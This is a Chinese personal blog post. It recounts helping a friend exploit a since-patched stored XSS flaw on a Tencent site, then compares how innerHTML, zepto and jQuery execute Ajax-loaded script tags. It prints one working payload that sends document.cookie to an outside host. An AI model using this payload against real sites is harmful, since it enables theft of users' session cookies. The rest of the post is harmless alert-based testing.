jQuery 是最常用的一个 JavaScript 库,其中的 element.html()
是一个将 HTML 代码插入某元素的方法,而 element.innerHTML
是 JavaScript 原生的插入方法。
以前,因为没有使用的需求,所以一直单纯地认为 jQuery 的 element.html()
只是对 element.innerHTML
的一个简单封装,但是昨天,发现事情并没有这么简单。
老师说过,写文章要有起因、经过、结果,所以先说说故事起因。
起因
小伙伴在某企鹅网站上发现一个存储型 XSS 漏洞
,因为他对前端不了解,所以叫我来帮忙绕过滤。该页面不仅会对输入内容进行过滤,并且有最高 50 字符的字数限制,虽然没有了解到完整的过滤规则,但是经过简单的测试发现过滤比较鸡肋,连 <script> 标签
都能成功插入。但是比较坑的是,每个企鹅账号仅能提交 15 条信息,所以无法进行大量尝试。
页面不是加载完成后就能直接触发 XSS 漏洞的,而是点击评论按钮后,页面通过 Ajax 请求评论信息并插入 DOM,若评论信息中包含 XSS 代码,才会最终触发。
提交漏洞后企鹅快速响应,现在洞已经补上了,就公布一下当时可以利用的代码。
<svg/onload="window.location.href='http://xss.domain/?id='+document.cookie">
嗯,后面的内容其实和日站没啥关系了,都是对 element.innerHTML
和 html()
进行的测试对比。
经过
原生 JavaScript 测试
先试试原生 JavaScript 中的 element.innerHTML
。
<!-- index.html --> <html> <head></head> <body> <div id="content"></div> <script> var xhr = new XMLHttpRequest(); xhr.open("GET", "index.txt"); xhr.send(); xhr.addEventListener("readystatechange", function(res){ if (res.target.readyState === 4 && res.target.status === 200) { document.getElementById("content").innerHTML = res.target.responseText; } }); </script> </body> </html> <!-- index.txt --> <script> alert('index.txt'); </script>
写好剧本:
1、打开 index.html(需要 HTTP Server);
2、页面自动发起
Ajax 请求
,获取index.txt
中的内容并加入 div 中;3、最后自动执行
<script> 标签
中的内容,即alert('index.txt');
,弹出 “index.txt” 字样的对话框。
打开运行…ヽ(`Д´)ノ 教练,这和剧本写得不一样!!!
没有任何反应,虽然成功加载了 index.txt 中的 <script>alert('index.txt');</script>
,也添加到了 DOM 中,但是就如同写入的是文本一样,完全不执行任何代码。
Google 一下,你就知道:
在
window.onload
触发前,通过element.innerHTML
写入的脚本会正常执行,但是window.onload
已经被触发后再加入脚本,就不会再自动执行了。
怎么办,正常情况下可以直接使用 eval()
执行脚本,虽然不怎么安全,但也是一种解决方法。但是在日站这种非正常情况下,就得另辟蹊径了。
别忘了,还有一个方法,是 document.write()
,这个方法没有 element.innerHTML
好用,因为前者每次都会重写整个文档流
,引起整个页面的重流,但后者可以对某个具体的元素的内容进行更改,也就不会重流整个页面了。虽然这个方法可以执行脚本,但是后果就是整个页面只剩下写入的内容,其他包括 <head>、<body> 统统都没了。所以想要不破坏页面,还是少用它吧。
zepto.js 测试
打开页面应该做的第一件事应该是右键查看源代码。——沃兹吉·硕得
本人贯彻上述真理,当然在第一时间了解到有漏洞的页面是使用了 zepto.js
库。
zepto.js
是一个轻量级的类 jQuery 库,其也是使用 $
符号,而且很多功能实现与 jQuery 一致。OK,把代码改吧改吧,用 $.ajax
获取脚本看看会不会执行。
修改后的代码长这样:
<!-- index.html --> <html> <head> <script src="zepto.js"></script> </head> <body> <div id="content"></div> <script> $.ajax({ type: "GET", url: "index.txt", success: function (data) { $("#content").html(data); } }); </script> </body> </html> <!-- index.txt --> <script> alert('index.txt'); </script>
不同于使用原生 JavaScript 的没有任何反应,zepto 给足了面子,立刻弹出了 “index.txt” 字样的对话框。
哟西,内联的 JavaScript 代码执行成功,那引用外部的脚本那也是可以的吧?
<!-- index.txt --> <script src="http://libs.baidu.com/jquery/1.9.0/jquery.js">
把 index.txt 修改为上面的内容,再次请求…
(╯°口°)╯(┴—┴
说好的请求外部资源呢?为什么就只有这 3 个文件的请求?我的 1.9.0 版本的 jquery.js 呢?
嗨呀好气啊,是不是跨了域啊?<script>
又不是不能跨域…改了一试,果然还是没有请求。
zepto.js 测试结果是:
zepto.js 通过 Ajax 获得的包含
<script> 标签
的字符串在加入 DOM 时会被执行,但是前提是<script> 标签
不是用于请求外部文件,而是内联 JavaScript 代码。
jQuery 测试
既然类 jQuery 的 zepto.js 不能请求外部文件,所以 jQuery 也不能么?带着这个疑问,我又测试了一下 jQuery,结果却有些不同。这里使用最新释出的 jQuery 3.1.0。
若是内联的 JavaScript 代码,可以正常执行,这点毫无疑问。
但是把 index.txt 再次改成下面那样后,竟然成功请求了这个文件。
<!-- index.txt --> <script src="http://libs.baidu.com/jquery/1.9.0/jquery.js">
经过测试,连跨域都可以成功加载,那么同源时,一样能加载文件。
jQuery 测试结果是:
jQuery 通过 Ajax 获得的包含
<script> 标签
的字符串在加入 DOM 时会被执行,若<script> 标签
用于请求外部文件,也可以正常请求。
结果
仔细看 demo 文件,发现差别就在于 html()
和 innerHTML
。
所以以上测试的结果就是:
innerHTML 完全无法执行由 Ajax 得到的 <script> 标签内的脚本
zepto.js 和 jQuery 都可以执行由 Ajax 得到的 <script> 标签中的内联脚本
jQuery 可以请求到由 Ajax 得到的 <script> 标签的外部请求的文件
尾声
好菜啊,这都写得啥,真是 naive,果然下篇还是写篇详细的分析吧,期待下期吧~
原创文章,转载请以链接形式注明出处:https://blog.ttionya.com/article-1570.html